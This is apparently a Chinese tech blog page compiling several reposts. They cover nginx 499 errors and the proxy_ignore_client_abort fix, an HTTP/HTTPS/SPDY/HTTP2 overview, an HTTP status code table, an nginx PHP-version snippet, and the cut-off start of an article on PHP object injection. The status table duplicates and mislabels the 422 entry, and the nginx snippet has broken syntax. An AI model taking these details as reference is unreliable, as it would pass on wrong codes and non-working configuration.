[转]HTTP 499 状态码 nginx下 499错误

日志记录中HTTP状态码出现499错误有多种情况,我遇到的一种情况是nginx反代到一个永远打不开的后端,就这样了,日志状态记录是499、发送字节数是0。

老是有用户反映网站系统时好时坏,因为线上的产品很长时间没有修改,所以前端程序的问题基本上可以排除,于是就想着是Get方式调用的接口不稳定,问了相关人员,说没有问题,为了拿到确切证据,于是我问相关人员要了nginx服务器的日志文件(awstats日志),分析后发现日志中很多错误码为499的错误,约占整个日志文件的1%,而它只占全部报错的70%左右(全部报错见下图),那么所有报错加起来就要超过1%了,这个量还是特别大的。

499错误是什么?让我们看看NGINX的源码中的定义:

ngx_string(ngx_http_error_495_page), /* 495, https certificate error */
ngx_string(ngx_http_error_496_page), /* 496, https no certificate */
ngx_string(ngx_http_error_497_page), /* 497, http to https */
ngx_string(ngx_http_error_404_page), /* 498, canceled */
ngx_null_string, /* 499, client has closed connection */

可以看到,499对应的是 “client has closed connection”。这很有可能是因为服务器端处理的时间过长,客户端“不耐烦”了。

Nginx 499错误的原因及解决方法

打开Nginx的access.log发现在最后一次的提交是出现了HTTP1.1 499 0 -这样的错误,在百度搜索nginx 499错误,结果都是说客户端主动断开了连接。

但经过我的测试这显然不是客户端的问题,因为使用端口+IP直接访问后端服务器不存在此问题,后来测试nginx发现如果两次提交post过快就会出现499的情况,看来是nginx认为是不安全的连接,主动拒绝了客户端的连接.

但搜索相关问题一直找不到解决方法,最后终于在google上搜索到一英文论坛上有关于此错误的解决方法:

proxy_ignore_client_abort on;
Don’t know if this is safe.

就是说要配置参数 proxy_ignore_client_abort on;

表示代理服务端不要主要主动关闭客户端连接。

以此配置重启nginx,问题果然得到解决。只是安全方面稍有欠缺,但比总是出现找不到服务器好多了。

还有一种原因是 我后来测试发现 确实是客户端关闭了连接,或者说连接超时 ,无论你设置多少超时时间多没用 原来是php进程不够用了 改善一下php进程数 问题解决 默认测试环境才开5个子进程。

以上所述是小编给大家介绍的HTTP 499 状态码 nginx下 499错误的解决办法,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对脚本之家网站的支持!

[HTTP]HTTP,HTTP2.0,SPDY,HTTPS看这篇就够了

作为一个经常和web打交道的程序员,了解这些协议是必须的,本文就向大家介绍一下这些协议的区别和基本概念,文中可能不局限于前端知识,还包括一些运维,协议方面的知识,希望能给读者带来一些收获,如有不对之处还请指出。

1. web始祖HTTP

全称:超文本传输协议(HyperText Transfer Protocol) 伴随着计算机网络和浏览器的诞生,HTTP1.0也随之而来,处于计算机网络中的应用层,HTTP是建立在TCP协议之上,所以HTTP协议的瓶颈及其优化技巧都是基于TCP协议本身的特性,例如tcp建立连接的3次握手和断开连接的4次挥手以及每次建立连接带来的RTT延迟时间。

2. HTTP与现代化浏览器

早在HTTP建立之初,主要就是为了将超文本标记语言(HTML)文档从Web服务器传送到客户端的浏览器。也是说对于前端来说,我们所写的HTML页面将要放在我们的web服务器上,用户端通过浏览器访问url地址来获取网页的显示内容,但是到了WEB2.0以来,我们的页面变得复杂,不仅仅单纯的是一些简单的文字和图片,同时我们的HTML页面有了CSS,Javascript,来丰富我们的页面展示,当ajax的出现,我们又多了一种向服务器端获取数据的方法,这些其实都是基于HTTP协议的。同样到了移动互联网时代,我们页面可以跑在手机端浏览器里面,但是和PC相比,手机端的网络情况更加复杂,这使得我们开始了不得不对HTTP进行深入理解并不断优化过程中。

3. HTTP的基本优化

影响一个HTTP网络请求的因素主要有两个:带宽和延迟。

  • 带宽:如果说我们还停留在拨号上网的阶段,带宽可能会成为一个比较严重影响请求的问题,当时现在网络基础建设已经使得带宽得到极大的提升,我们不再会担心由带宽而影响网速,那么就只剩下延迟了。
  • 延迟:
  1. 浏览器阻塞(HOL blocking):浏览器会因为一些原因阻塞请求。浏览器对于同一个域名,同时只能有 4 个连接(这个根据浏览器内核不同可能会有所差异),超过浏览器最大连接数限制,后续请求就会被阻塞。
  2. DNS 查询(DNS Lookup):浏览器需要知道目标服务器的 IP 才能建立连接。将域名解析为 IP 的这个系统就是 DNS。这个通常可以利用DNS缓存结果来达到减少这个时间的目的。
  3. 建立连接(Initial connection):HTTP 是基于 TCP 协议的,浏览器最快也要在第三次握手时才能捎带 HTTP 请求报文,达到真正的建立连接,但是这些连接无法复用会导致每次请求都经历三次握手和慢启动。三次握手在高延迟的场景下影响较明显,慢启动则对文件类大请求影响较大。

4. HTTP1.0和HTTP1.1的一些区别

HTTP1.0最早在网页中使用是在1996年,那个时候只是使用一些较为简单的网页上和网络请求上,而HTTP1.1则在1999年才开始广泛应用于现在的各大浏览器网络请求中,同时HTTP1.1也是当前使用最为广泛的HTTP协议。 主要区别主要体现在:

  1. 缓存处理,在HTTP1.0中主要使用header里的If-Modified-Since,Expires来做为缓存判断的标准,HTTP1.1则引入了更多的缓存控制策略例如Entity tag,If-Unmodified-Since, If-Match, If-None-Match等更多可供选择的缓存头来控制缓存策略。
  2. 带宽优化及网络连接的使用,HTTP1.0中,存在一些浪费带宽的现象,例如客户端只是需要某个对象的一部分,而服务器却将整个对象送过来了,并且不支持断点续传功能,HTTP1.1则在请求头引入了range头域,它允许只请求资源的某个部分,即返回码是206(Partial Content),这样就方便了开发者自由的选择以便于充分利用带宽和连接。
  3. 错误通知的管理,在HTTP1.1中新增了24个错误状态响应码,如409(Conflict)表示请求的资源与资源的当前状态发生冲突;410(Gone)表示服务器上的某个资源被永久性的删除。
  4. Host头处理,在HTTP1.0中认为每台服务器都绑定一个唯一的IP地址,因此,请求消息中的URL并没有传递主机名(hostname)。但随着虚拟主机技术的发展,在一台物理服务器上可以存在多个虚拟主机(Multi-homed Web Servers),并且它们共享一个IP地址。HTTP1.1的请求消息和响应消息都应支持Host头域,且请求消息中如果没有Host头域会报告一个错误(400 Bad Request)。
  5. 长连接,HTTP 1.1支持长连接(PersistentConnection)和请求的流水线(Pipelining)处理,在一个TCP连接上可以传送多个HTTP请求和响应,减少了建立和关闭连接的消耗和延迟,在HTTP1.1中默认开启Connection: keep-alive,一定程度上弥补了HTTP1.0每次请求都要创建连接的缺点。以下是常见的HTTP1.0:

5. HTTP1.0和1.1现存的一些问题

  1. 上面提到过的,HTTP1.x在传输数据时,每次都需要重新建立连接,无疑增加了大量的延迟时间,特别是在移动端更为突出。
  2. HTTP1.x在传输数据时,所有传输的内容都是明文,客户端和服务器端都无法验证对方的身份,这在一定程度上无法保证数据的安全性。
  3. HTTP1.x在使用时,header里携带的内容过大,在一定程度上增加了传输的成本,并且每次请求header基本不怎么变化,尤其在移动端增加用户流量。
  4. 虽然HTTP1.x支持了keep-alive,来弥补多次创建连接产生的延迟,但是keep-alive使用多了同样会给服务端带来大量的性能压力,并且对于单个文件被不断请求的服务(例如图片存放网站),keep-alive可能会极大的影响性能,因为它在文件被请求之后还保持了不必要的连接很长时间。

 

6. HTTPS应声而出

为了解决以上问题,网景在1994年创建了HTTPS,并应用在网景导航者浏览器中。 最初,HTTPS是与SSL一起使用的;在SSL逐渐演变到TLS时(其实两个是一个东西,只是名字不同而已),最新的HTTPS也由在2000年五月公布的RFC 2818正式确定下来。简单来说,HTTPS就是安全版的HTTP,并且由于当今时代对安全性要求更高,chrome和firefox都大力支持网站使用HTTPS,苹果也在ios 10系统中强制app使用HTTPS来传输数据,由此可见HTTPS势在必行。

7. HTTPS与HTTP的一些区别

  1. HTTPS协议需要到ca申请证书,一般免费证书很少,需要交费。
  2. HTTP是超文本传输协议,信息是明文传输,HTTPS 则是具有安全性的ssl加密传输协议。
  3. HTTP和HTTPS使用的是完全不同的连接方式,用的端口也不一样,前者是80,后者是443。
  4. HTTPS的连接很简单,HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,比http协议安全。

 

8. HTTPS改造

如果一个网站要全站由HTTP替换成HTTPS,可能需要关注以下几点:

  1. 安装CA证书,一般的证书都是需要收费的,这边推荐一个比较好的购买证书网站:1)Let’s Encrypt,免费,快捷,支持多域名(不是通配符),三条命令即时签署+导出证书。缺点是暂时只有三个月有效期,到期需续签。2,收费,但是比较稳定。
  2. 在购买证书之后,在证书提供的网站上配置自己的域名,将证书下载下来之后,配置自己的web服务器,同时进行代码改造。
  3. HTTPS 降低用户访问速度。SSL握手,HTTPS 对速度会有一定程度的降低,但是只要经过合理优化和部署,HTTPS 对速度的影响完全可以接受。在很多场景下,HTTPS 速度完全不逊于 HTTP,如果使用 SPDY,HTTPS 的速度甚至还要比 HTTP 快。
  4. 相对于HTTPS降低访问速度,其实更需要关心的是服务器端的CPU压力,HTTPS中大量的密钥算法计算,会消耗大量的CPU资源,只有足够的优化,HTTPS 的机器成本才不会明显增加。

推荐一则淘宝网改造HTTPS的文章。

9. 使用SPDY加快你的网站速度

2012年google如一声惊雷提出了SPDY的方案,大家才开始从正面看待和解决老版本HTTP协议本身的问题,SPDY可以说是综合了HTTPS和HTTP两者有点于一体的传输协议,主要解决:

  1. 降低延迟,针对HTTP高延迟的问题,SPDY优雅的采取了多路复用(multiplexing)。多路复用通过多个请求stream共享一个tcp连接的方式,解决了HOL blocking的问题,降低了延迟同时提高了带宽的利用率。
  2. 请求优先级(request prioritization)。多路复用带来一个新的问题是,在连接共享的基础之上有可能会导致关键请求被阻塞。SPDY允许给每个request设置优先级,这样重要的请求就会优先得到响应。比如浏览器加载首页,首页的html内容应该优先展示,之后才是各种静态资源文件,脚本文件等加载,这样可以保证用户能第一时间看到网页内容。
  3. header压缩。前面提到HTTP1.x的header很多时候都是重复多余的。选择合适的压缩算法可以减小包的大小和数量。
  4. 基于HTTPS的加密协议传输,大大提高了传输数据的可靠性。
  5. 服务端推送(server push),采用了SPDY的网页,例如我的网页有一个sytle.css的请求,在客户端收到sytle.css数据的同时,服务端会将sytle.js的文件推送给客户端,当客户端再次尝试获取sytle.js时就可以直接从缓存中获取到,不用再发请求了。SPDY构成图:

SPDY位于HTTP之下,TCP和SSL之上,这样可以轻松兼容老版本的HTTP协议(将HTTP1.x的内容封装成一种新的frame格式),同时可以使用已有的SSL功能。 兼容性:

10. HTTP2.0的前世今生

S顾名思义有了HTTP1.x,那么HTTP2.0也就顺理成章的出现了。HTTP2.0可以说是SPDY的升级版(其实原本也是基于SPDY设计的),但是,HTTP2.0 跟 SPDY 仍有不同的地方,主要是以下两点:

  • HTTP2.0 支持明文 HTTP 传输,而 SPDY 强制使用 HTTPS
  • HTTP2.0 消息头的压缩算法采用 HPACK,而非 SPDY 采用的 DEFLATE

 

11. HTTP2.0的新特性

  • 新的二进制格式(Binary Format),HTTP1.x的解析是基于文本。基于文本协议的格式解析存在天然缺陷,文本的表现形式有多样性,要做到健壮性考虑的场景必然很多,二进制则不同,只认0和1的组合。基于这种考虑HTTP2.0的协议解析决定采用二进制格式,实现方便且健壮。
  • 多路复用(MultiPlexing),即连接共享,即每一个request都是是用作连接共享机制的。一个request对应一个id,这样一个连接上可以有多个request,每个连接的request可以随机的混杂在一起,接收方可以根据request的 id将request再归属到各自不同的服务端请求里面。多路复用原理图

  • header压缩,如上文中所言,对前面提到过HTTP1.x的header带有大量信息,而且每次都要重复发送,HTTP2.0使用encoder来减少需要传输的header大小,通讯双方各自cache一份header fields表,既避免了重复header的传输,又减小了需要传输的大小。
  • 服务端推送(server push),同SPDY一样,HTTP2.0也具有server push功能。目前,有大多数网站已经启用HTTP2.0,例如YouTuBe淘宝网等网站,利用chrome控制台可以查看是否启用H2:

更多关于HTTP2的问题可以参考:HTTP2奇妙日常,以及HTTP2.0的官方网站

12. HTTP2.0的升级改造

对比HTTPS的升级改造,HTTP2.0获取会稍微简单一些,你可能需要关注以下问题:

  1. 前文说了HTTP2.0其实可以支持非HTTPS的,但是现在主流的浏览器像chrome,firefox表示还是只支持基于 TLS 部署的HTTP2.0协议,所以要想升级成HTTP2.0还是先生气HTTPS为好。
  2. 当你的网站已经升级HTTPS之后,那么升级HTTP2.0就简单很多,如果你使用NGINX,只要在配置文件中启动相应的协议就可以了,可以参考NGINX白皮书NGINX配置HTTP2.0官方指南
  3. 使用了HTTP2.0那么,原本的HTTP1.x怎么办,这个问题其实不用担心,HTTP2.0完全兼容HTTP1.x的语义,对于不支持HTTP2.0的浏览器,NGINX会自动向下兼容的。

 

后记

  1. 以上就是关于HTTP,HTTP2.0,SPDY,HTTPS的一些基本理论,有些内容没有深入讲解,大家可以跟进参考连接具体查看。
  2. 关于HTTP1.x的一些优化方式,例如文件合并压缩,资源cdn,js,css优化等等同样使用与HTTP2.0和HTTPS,所以web前端的优化,还是要继续进行。
  3. 其实WEB发展如此迅速的今天,有些技术是真的要与时俱进的,就像苹果宣布ios 10必须使用HTTPS开始,关于web协议革新就已经开始了,为了更好的性能,更优越的方式,现在就开始升级改造吧

http错误码收录

状态码 含义
100 客户端应当继续发送请求。这个临时响应是用来通知客户端它的部分请求已经被服务器接收,且仍未被拒绝。客户端应当继续发送请求的剩余部分,或者如果请求已经完成,忽略这个响应。服务器必须在请求完成后向客户端发送一个最终响应。
101 服务器已经理解了客户端的请求,并将通过Upgrade 消息头通知客户端采用不同的协议来完成这个请求。在发送完这个响应最后的空行后,服务器将会切换到在Upgrade 消息头中定义的那些协议。   只有在切换新的协议更有好处的时候才应该采取类似措施。例如,切换到新的HTTP 版本比旧版本更有优势,或者切换到一个实时且同步的协议以传送利用此类特性的资源。
102 由WebDAV(RFC 2518)扩展的状态码,代表处理将被继续执行。
200 请求已成功,请求所希望的响应头或数据体将随此响应返回。
201 请求已经被实现,而且有一个新的资源已经依据请求的需要而建立,且其 URI 已经随Location 头信息返回。假如需要的资源无法及时建立的话,应当返回 ‘202 Accepted’。
202 服务器已接受请求,但尚未处理。正如它可能被拒绝一样,最终该请求可能会也可能不会被执行。在异步操作的场合下,没有比发送这个状态码更方便的做法了。   返回202状态码的响应的目的是允许服务器接受其他过程的请求(例如某个每天只执行一次的基于批处理的操作),而不必让客户端一直保持与服务器的连接直到批处理操作全部完成。在接受请求处理并返回202状态码的响应应当在返回的实体中包含一些指示处理当前状态的信息,以及指向处理状态监视器或状态预测的指针,以便用户能够估计操作是否已经完成。
203 服务器已成功处理了请求,但返回的实体头部元信息不是在原始服务器上有效的确定集合,而是来自本地或者第三方的拷贝。当前的信息可能是原始版本的子集或者超集。例如,包含资源的元数据可能导致原始服务器知道元信息的超级。使用此状态码不是必须的,而且只有在响应不使用此状态码便会返回200 OK的情况下才是合适的。
204 服务器成功处理了请求,但不需要返回任何实体内容,并且希望返回更新了的元信息。响应可能通过实体头部的形式,返回新的或更新后的元信息。如果存在这些头部信息,则应当与所请求的变量相呼应。   如果客户端是浏览器的话,那么用户浏览器应保留发送了该请求的页面,而不产生任何文档视图上的变化,即使按照规范新的或更新后的元信息应当被应用到用户浏览器活动视图中的文档。   由于204响应被禁止包含任何消息体,因此它始终以消息头后的第一个空行结尾。
205 服务器成功处理了请求,且没有返回任何内容。但是与204响应不同,返回此状态码的响应要求请求者重置文档视图。该响应主要是被用于接受用户输入后,立即重置表单,以便用户能够轻松地开始另一次输入。   与204响应一样,该响应也被禁止包含任何消息体,且以消息头后的第一个空行结束。
206 服务器已经成功处理了部分 GET 请求。类似于 FlashGet 或者迅雷这类的 HTTP 下载工具都是使用此类响应实现断点续传或者将一个大文档分解为多个下载段同时下载。   该请求必须包含 Range 头信息来指示客户端希望得到的内容范围,并且可能包含 If-Range 来作为请求条件。   响应必须包含如下的头部域:   Content-Range 用以指示本次响应中返回的内容的范围;如果是 Content-Type 为 multipart/byteranges 的多段下载,则每一 multipart 段中都应包含 Content-Range 域用以指示本段的内容范围。假如响应中包含 Content-Length,那么它的数值必须匹配它返回的内容范围的真实字节数。   Date   ETag 和/或 Content-Location,假如同样的请求本应该返回200响应。   Expires, Cache-Control,和/或 Vary,假如其值可能与之前相同变量的其他响应对应的值不同的话。   假如本响应请求使用了 If-Range 强缓存验证,那么本次响应不应该包含其他实体头;假如本响应的请求使用了 If-Range 弱缓存验证,那么本次响应禁止包含其他实体头;这避免了缓存的实体内容和更新了的实体头信息之间的不一致。否则,本响应就应当包含所有本应该返回200响应中应当返回的所有实体头部域。   假如 ETag 或 Last-Modified 头部不能精确匹配的话,则客户端缓存应禁止将206响应返回的内容与之前任何缓存过的内容组合在一起。   任何不支持 Range 以及 Content-Range 头的缓存都禁止缓存206响应返回的内容。
207 由WebDAV(RFC 2518)扩展的状态码,代表之后的消息体将是一个XML消息,并且可能依照之前子请求数量的不同,包含一系列独立的响应代码。
300 被请求的资源有一系列可供选择的回馈信息,每个都有自己特定的地址和浏览器驱动的商议信息。用户或浏览器能够自行选择一个首选的地址进行重定向。   除非这是一个 HEAD 请求,否则该响应应当包括一个资源特性及地址的列表的实体,以便用户或浏览器从中选择最合适的重定向地址。这个实体的格式由 Content-Type 定义的格式所决定。浏览器可能根据响应的格式以及浏览器自身能力,自动作出最合适的选择。当然,RFC 2616规范并没有规定这样的自动选择该如何进行。   如果服务器本身已经有了首选的回馈选择,那么在 Location 中应当指明这个回馈的 URI;浏览器可能会将这个 Location 值作为自动重定向的地址。此外,除非额外指定,否则这个响应也是可缓存的。
301 被请求的资源已永久移动到新位置,并且将来任何对此资源的引用都应该使用本响应返回的若干个 URI 之一。如果可能,拥有链接编辑功能的客户端应当自动把请求的地址修改为从服务器反馈回来的地址。除非额外指定,否则这个响应也是可缓存的。   新的永久性的 URI 应当在响应的 Location 域中返回。除非这是一个 HEAD 请求,否则响应的实体中应当包含指向新的 URI 的超链接及简短说明。   如果这不是一个 GET 或者 HEAD 请求,因此浏览器禁止自动进行重定向,除非得到用户的确认,因为请求的条件可能因此发生变化。   注意:对于某些使用 HTTP/1.0 协议的浏览器,当它们发送的 POST 请求得到了一个301响应的话,接下来的重定向请求将会变成 GET 方式。
302 请求的资源现在临时从不同的 URI 响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。   新的临时性的 URI 应当在响应的 Location 域中返回。除非这是一个 HEAD 请求,否则响应的实体中应当包含指向新的 URI 的超链接及简短说明。   如果这不是一个 GET 或者 HEAD 请求,那么浏览器禁止自动进行重定向,除非得到用户的确认,因为请求的条件可能因此发生变化。   注意:虽然RFC 1945和RFC 2068规范不允许客户端在重定向时改变请求的方法,但是很多现存的浏览器将302响应视作为303响应,并且使用 GET 方式访问在 Location 中规定的 URI,而无视原先请求的方法。状态码303和307被添加了进来,用以明确服务器期待客户端进行何种反应。
303 对应当前请求的响应可以在另一个 URI 上被找到,而且客户端应当采用 GET 的方式访问那个资源。这个方法的存在主要是为了允许由脚本激活的POST请求输出重定向到一个新的资源。这个新的 URI 不是原始资源的替代引用。同时,303响应禁止被缓存。当然,第二个请求(重定向)可能被缓存。   新的 URI 应当在响应的 Location 域中返回。除非这是一个 HEAD 请求,否则响应的实体中应当包含指向新的 URI 的超链接及简短说明。   注意:许多 HTTP/1.1 版以前的 浏览器不能正确理解303状态。如果需要考虑与这些浏览器之间的互动,302状态码应该可以胜任,因为大多数的浏览器处理302响应时的方式恰恰就是上述规范要求客户端处理303响应时应当做的。
304 如果客户端发送了一个带条件的 GET 请求且该请求已被允许,而文档的内容(自上次访问以来或者根据请求的条件)并没有改变,则服务器应当返回这个状态码。304响应禁止包含消息体,因此始终以消息头后的第一个空行结尾。   该响应必须包含以下的头信息:   Date,除非这个服务器没有时钟。假如没有时钟的服务器也遵守这些规则,那么代理服务器以及客户端可以自行将 Date 字段添加到接收到的响应头中去(正如RFC 2068中规定的一样),缓存机制将会正常工作。   ETag 和/或 Content-Location,假如同样的请求本应返回200响应。   Expires, Cache-Control,和/或Vary,假如其值可能与之前相同变量的其他响应对应的值不同的话。   假如本响应请求使用了强缓存验证,那么本次响应不应该包含其他实体头;否则(例如,某个带条件的 GET 请求使用了弱缓存验证),本次响应禁止包含其他实体头;这避免了缓存了的实体内容和更新了的实体头信息之间的不一致。   假如某个304响应指明了当前某个实体没有缓存,那么缓存系统必须忽视这个响应,并且重复发送不包含限制条件的请求。   假如接收到一个要求更新某个缓存条目的304响应,那么缓存系统必须更新整个条目以反映所有在响应中被更新的字段的值。
305 被请求的资源必须通过指定的代理才能被访问。Location 域中将给出指定的代理所在的 URI 信息,接收者需要重复发送一个单独的请求,通过这个代理才能访问相应资源。只有原始服务器才能建立305响应。   注意:RFC 2068中没有明确305响应是为了重定向一个单独的请求,而且只能被原始服务器建立。忽视这些限制可能导致严重的安全后果。
306 在最新版的规范中,306状态码已经不再被使用。
307 请求的资源现在临时从不同的URI 响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。   新的临时性的URI 应当在响应的 Location 域中返回。除非这是一个HEAD 请求,否则响应的实体中应当包含指向新的URI 的超链接及简短说明。因为部分浏览器不能识别307响应,因此需要添加上述必要信息以便用户能够理解并向新的 URI 发出访问请求。   如果这不是一个GET 或者 HEAD 请求,那么浏览器禁止自动进行重定向,除非得到用户的确认,因为请求的条件可能因此发生变化。
400 1、语义有误,当前请求无法被服务器理解。除非进行修改,否则客户端不应该重复提交这个请求。   2、请求参数有误。
401 当前请求需要用户验证。该响应必须包含一个适用于被请求资源的 WWW-Authenticate 信息头用以询问用户信息。客户端可以重复提交一个包含恰当的 Authorization 头信息的请求。如果当前请求已经包含了 Authorization 证书,那么401响应代表着服务器验证已经拒绝了那些证书。如果401响应包含了与前一个响应相同的身份验证询问,且浏览器已经至少尝试了一次验证,那么浏览器应当向用户展示响应中包含的实体信息,因为这个实体信息中可能包含了相关诊断信息。参见RFC 2617。
402 该状态码是为了将来可能的需求而预留的。
403 服务器已经理解请求,但是拒绝执行它。与401响应不同的是,身份验证并不能提供任何帮助,而且这个请求也不应该被重复提交。如果这不是一个 HEAD 请求,而且服务器希望能够讲清楚为何请求不能被执行,那么就应该在实体内描述拒绝的原因。当然服务器也可以返回一个404响应,假如它不希望让客户端获得任何信息。
404 请求失败,请求所希望得到的资源未被在服务器上发现。没有信息能够告诉用户这个状况到底是暂时的还是永久的。假如服务器知道情况的话,应当使用410状态码来告知旧资源因为某些内部的配置机制问题,已经永久的不可用,而且没有任何可以跳转的地址。404这个状态码被广泛应用于当服务器不想揭示到底为何请求被拒绝或者没有其他适合的响应可用的情况下。
405 请求行中指定的请求方法不能被用于请求相应的资源。该响应必须返回一个Allow 头信息用以表示出当前资源能够接受的请求方法的列表。   鉴于 PUT,DELETE 方法会对服务器上的资源进行写操作,因而绝大部分的网页服务器都不支持或者在默认配置下不允许上述请求方法,对于此类请求均会返回405错误。
406 请求的资源的内容特性无法满足请求头中的条件,因而无法生成响应实体。   除非这是一个 HEAD 请求,否则该响应就应当返回一个包含可以让用户或者浏览器从中选择最合适的实体特性以及地址列表的实体。实体的格式由 Content-Type 头中定义的媒体类型决定。浏览器可以根据格式及自身能力自行作出最佳选择。但是,规范中并没有定义任何作出此类自动选择的标准。
407  与401响应类似,只不过客户端必须在代理服务器上进行身份验证。代理服务器必须返回一个 Proxy-Authenticate 用以进行身份询问。客户端可以返回一个 Proxy-Authorization 信息头用以验证。参见RFC 2617。
408 请求超时。客户端没有在服务器预备等待的时间内完成一个请求的发送。客户端可以随时再次提交这一请求而无需进行任何更改。
409 由于和被请求的资源的当前状态之间存在冲突,请求无法完成。这个代码只允许用在这样的情况下才能被使用:用户被认为能够解决冲突,并且会重新提交新的请求。该响应应当包含足够的信息以便用户发现冲突的源头。   冲突通常发生于对 PUT 请求的处理中。例如,在采用版本检查的环境下,某次 PUT 提交的对特定资源的修改请求所附带的版本信息与之前的某个(第三方)请求向冲突,那么此时服务器就应该返回一个409错误,告知用户请求无法完成。此时,响应实体中很可能会包含两个冲突版本之间的差异比较,以便用户重新提交归并以后的新版本。
410 被请求的资源在服务器上已经不再可用,而且没有任何已知的转发地址。这样的状况应当被认为是永久性的。如果可能,拥有链接编辑功能的客户端应当在获得用户许可后删除所有指向这个地址的引用。如果服务器不知道或者无法确定这个状况是否是永久的,那么就应该使用404状态码。除非额外说明,否则这个响应是可缓存的。   410响应的目的主要是帮助网站管理员维护网站,通知用户该资源已经不再可用,并且服务器拥有者希望所有指向这个资源的远端连接也被删除。这类事件在限时、增值服务中很普遍。同样,410响应也被用于通知客户端在当前服务器站点上,原本属于某个个人的资源已经不再可用。当然,是否需要把所有永久不可用的资源标记为’410 Gone’,以及是否需要保持此标记多长时间,完全取决于服务器拥有者。
411 服务器拒绝在没有定义 Content-Length 头的情况下接受请求。在添加了表明请求消息体长度的有效 Content-Length 头之后,客户端可以再次提交该请求。
412 服务器在验证在请求的头字段中给出先决条件时,没能满足其中的一个或多个。这个状态码允许客户端在获取资源时在请求的元信息(请求头字段数据)中设置先决条件,以此避免该请求方法被应用到其希望的内容以外的资源上。
413 服务器拒绝处理当前请求,因为该请求提交的实体数据大小超过了服务器愿意或者能够处理的范围。此种情况下,服务器可以关闭连接以免客户端继续发送此请求。   如果这个状况是临时的,服务器应当返回一个 Retry-After 的响应头,以告知客户端可以在多少时间以后重新尝试。
414 请求的URI 长度超过了服务器能够解释的长度,因此服务器拒绝对该请求提供服务。这比较少见,通常的情况包括:   本应使用POST方法的表单提交变成了GET方法,导致查询字符串(Query String)过长。   重定向URI “黑洞”,例如每次重定向把旧的 URI 作为新的 URI 的一部分,导致在若干次重定向后 URI 超长。   客户端正在尝试利用某些服务器中存在的安全漏洞攻击服务器。这类服务器使用固定长度的缓冲读取或操作请求的 URI,当 GET 后的参数超过某个数值后,可能会产生缓冲区溢出,导致任意代码被执行[1]。没有此类漏洞的服务器,应当返回414状态码。
415 对于当前请求的方法和所请求的资源,请求中提交的实体并不是服务器中所支持的格式,因此请求被拒绝。
416 如果请求中包含了 Range 请求头,并且 Range 中指定的任何数据范围都与当前资源的可用范围不重合,同时请求中又没有定义 If-Range 请求头,那么服务器就应当返回416状态码。   假如 Range 使用的是字节范围,那么这种情况就是指请求指定的所有数据范围的首字节位置都超过了当前资源的长度。服务器也应当在返回416状态码的同时,包含一个 Content-Range 实体头,用以指明当前资源的长度。这个响应也被禁止使用 multipart/byteranges 作为其 Content-Type。
417 在请求头 Expect 中指定的预期内容无法被服务器满足,或者这个服务器是一个代理服务器,它有明显的证据证明在当前路由的下一个节点上,Expect 的内容无法被满足。
421 从当前客户端所在的IP地址到服务器的连接数超过了服务器许可的最大范围。通常,这里的IP地址指的是从服务器上看到的客户端地址(比如用户的网关或者代理服务器地址)。在这种情况下,连接数的计算可能涉及到不止一个终端用户。
422 从当前客户端所在的IP地址到服务器的连接数超过了服务器许可的最大范围。通常,这里的IP地址指的是从服务器上看到的客户端地址(比如用户的网关或者代理服务器地址)。在这种情况下,连接数的计算可能涉及到不止一个终端用户。
422 请求格式正确,但是由于含有语义错误,无法响应。(RFC 4918 WebDAV)423 Locked   当前资源被锁定。(RFC 4918 WebDAV)
424 由于之前的某个请求发生的错误,导致当前请求失败,例如 PROPPATCH。(RFC 4918 WebDAV)
425 在WebDav Advanced Collections 草案中定义,但是未出现在《WebDAV 顺序集协议》(RFC 3658)中。
426 客户端应当切换到TLS/1.0。(RFC 2817)
449 由微软扩展,代表请求应当在执行完适当的操作后进行重试。
500 服务器遇到了一个未曾预料的状况,导致了它无法完成对请求的处理。一般来说,这个问题都会在服务器的程序码出错时出现。
501 服务器不支持当前请求所需要的某个功能。当服务器无法识别请求的方法,并且无法支持其对任何资源的请求。
502 作为网关或者代理工作的服务器尝试执行请求时,从上游服务器接收到无效的响应。
503 由于临时的服务器维护或者过载,服务器当前无法处理请求。这个状况是临时的,并且将在一段时间以后恢复。如果能够预计延迟时间,那么响应中可以包含一个 Retry-After 头用以标明这个延迟时间。如果没有给出这个 Retry-After 信息,那么客户端应当以处理500响应的方式处理它。   注意:503状态码的存在并不意味着服务器在过载的时候必须使用它。某些服务器只不过是希望拒绝客户端的连接。
504 作为网关或者代理工作的服务器尝试执行请求时,未能及时从上游服务器(URI标识出的服务器,例如HTTP、FTP、LDAP)或者辅助服务器(例如DNS)收到响应。   注意:某些代理服务器在DNS查询超时时会返回400或者500错误
505 服务器不支持,或者拒绝支持在请求中使用的 HTTP 版本。这暗示着服务器不能或不愿使用与客户端相同的版本。响应中应当包含一个描述了为何版本不被支持以及服务器支持哪些协议的实体。
506 由《透明内容协商协议》(RFC 2295)扩展,代表服务器存在内部配置错误:被请求的协商变元资源被配置为在透明内容协商中使用自己,因此在一个协商处理中不是一个合适的重点。
507 服务器无法存储完成请求所必须的内容。这个状况被认为是临时的。WebDAV (RFC 4918)
509 服务器达到带宽限制。这不是一个官方的状态码,但是仍被广泛使用。
510 获取资源所需要的策略并没有没满足。(RFC 2774)

[PHP7]博客升级PHP7

看了鸟哥微博:https://www.slideshare.net/slideshow/embed_code/key/KMbqLBfzYnMN29

继升级https之后,百忙之中升级博客使用php7,方法之前博客已经提到.

nginx定义变量


set $version php5;

if(host ~ "da.dadaaierer.com") {

set $version php7;

}

 

后面的配置换个变量即可!

效率待验证!

[转]深入理解 PHP 对象注入

0x00 背景

原文链接:https://wujunze.com/php_class_inject.jsp

php对象注入是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险,为了理解这个漏洞,请读者具备基础的php知识。

0x01 漏洞案例

如果你觉得这是个渣渣洞,那么请看一眼这个列表,一些被审计狗挖到过该漏洞的系统,你可以发现都是一些耳熟能详的玩意(就国外来说)

WordPress 3.6.1

Magento 1.9.0.1

Joomla 3.0.3

Ip board 3.3.5

除此之外等等一堆系统,八成可能大概在这些还有其他的php程序中还有很多这种类型的漏洞,所以不妨考虑坐下喝杯咖啡并且试着去理解这篇文章。
php.jpg
0x01 PHP类和对象


类和变量是非常容易理解的php概念,打个比方,下面的代码在一个类中定义了一个变量和一个方法。

